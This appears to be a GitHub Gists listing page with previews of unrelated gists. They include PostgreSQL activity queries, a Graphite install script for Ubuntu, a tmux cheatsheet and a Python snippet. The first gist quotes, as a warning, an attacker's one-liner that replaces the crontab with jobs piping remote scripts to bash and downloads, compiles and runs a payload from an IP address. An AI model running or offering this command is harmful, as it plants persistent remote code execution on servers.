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@ismasan
ismasan / gist:5647955
Created May 25, 2013 04:55
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
@rgreenjr
rgreenjr / postgres_queries_and_commands.sql
Last active February 23, 2026 13:47
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(clock_timestamp(), query_start), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(clock_timestamp(), query_start), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@jgeurts
jgeurts / install-graphite-ubuntu-12.04.sh
Created July 14, 2012 16:36 — forked from tkoeppen/install-graphite-ubuntu-10.04.sh
Install Graphite 0.9.10 on Ubuntu 12.04
####################################
# BASIC REQUIREMENTS
# http://graphite.wikidot.com/installation
# http://geek.michaelgrace.org/2011/09/how-to-install-graphite-on-ubuntu/
# Last tested & updated 10/13/2011
####################################
cd
sudo apt-get update
sudo apt-get upgrade
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active March 4, 2026 20:11
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
#! /usr/bin/env python
import fileinput
import argparse
from operator import itemgetter
parser = argparse.ArgumentParser()
parser.add_argument('--target-mb', action = 'store', dest = 'target_mb', default = 61000, type = int)
parser.add_argument('vmtouch_output_file', action = 'store', nargs = '+')
args = parser.parse_args()